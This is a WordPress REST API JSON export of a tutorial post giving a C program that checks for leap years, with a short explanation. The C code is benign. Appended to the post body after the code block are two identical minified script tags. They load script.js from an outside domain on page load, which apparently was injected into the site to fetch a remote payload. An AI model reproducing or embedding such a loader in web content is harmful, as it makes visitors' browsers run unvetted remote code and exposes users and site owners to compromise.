{"id":389,"date":"2024-10-01T09:35:18","date_gmt":"2024-10-01T04:05:18","guid":{"rendered":"http:\/\/codexplained.in\/?p=389"},"modified":"2025-11-24T16:04:17","modified_gmt":"2025-11-24T10:34:17","slug":"program-to-check-if-a-year-is-a-leap-year-or-not","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=389","title":{"rendered":"Program to check if a year is a leap year or not"},"content":{"rendered":"\n<p>Explanation: Standard I\/O library is included.<br>As an input from the user, we declare a variable year.<br>The user is prompted to input and view a year.<br>To determine if a year qualifies as a leap year, we look for divisibility by 4 rather than 100 unless it is also divisible by 400.<br>The checks determine whether or not the year is a leap year.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int year;\n    printf(&quot;Enter a year: &quot;);\n    scanf(&quot;%d&quot;, &amp;year);\n\n    \/\/ Check leap year conditions\n    if ((year % 4 == 0 &amp;&amp; year % 100 != 0) || (year % 400 == 0)) {\n        printf(&quot;%d is a Leap Year.\\n&quot;, year); \/\/ Output if it&#039;s a leap year.\n    } else {\n        printf(&quot;%d is not a Leap Year.\\n&quot;, year); \/\/ Output if it&#039;s not a leap year.\n    }\n    return 0;\n}\n\n<\/pre><\/div><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Standard I\/O library is included.As an input from the user, we declare a variable year.The user is prompted to input and view a year.To determine if a year qualifies as a leap year, we look for divisibility by 4 rather than 100 unless it is also divisible by 400.The checks determine whether or not [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":390,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-389","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/389","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=389"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions"}],"predecessor-version":[{"id":1486,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions\/1486"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/390"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}